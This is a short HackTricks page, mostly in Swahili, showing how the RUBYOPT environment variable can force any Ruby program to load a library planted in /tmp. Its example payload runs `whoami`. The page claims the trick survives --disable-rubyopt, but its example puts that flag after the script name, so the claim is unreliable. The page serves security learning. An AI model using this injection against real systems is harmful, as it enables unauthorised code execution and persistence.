macOS Ruby Applications Injection

Reading time: 2 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

RUBYOPT

Kwa kutumia hii env variable inawezekana kuongeza params mpya kwa ruby kila wakati inatekelezwa. Ingawa param -e haiwezi kutumika kubaini msimbo wa ruby wa kutekeleza, inawezekana kutumia params -I na -r kuongeza folda mpya kwenye maktaba za kupakia na kisha kubaini maktaba ya kupakia.

Unda maktaba inject.rb katika /tmp:

inject.rb
puts `whoami`

Tengeneza popote script ya ruby kama:

hello.rb
puts 'Hello, World!'

Kisha fanya script ya ruby isiyo na mpangilio iipakue na:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fahamu ya kufurahisha, inafanya kazi hata na param --disable-rubyopt:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks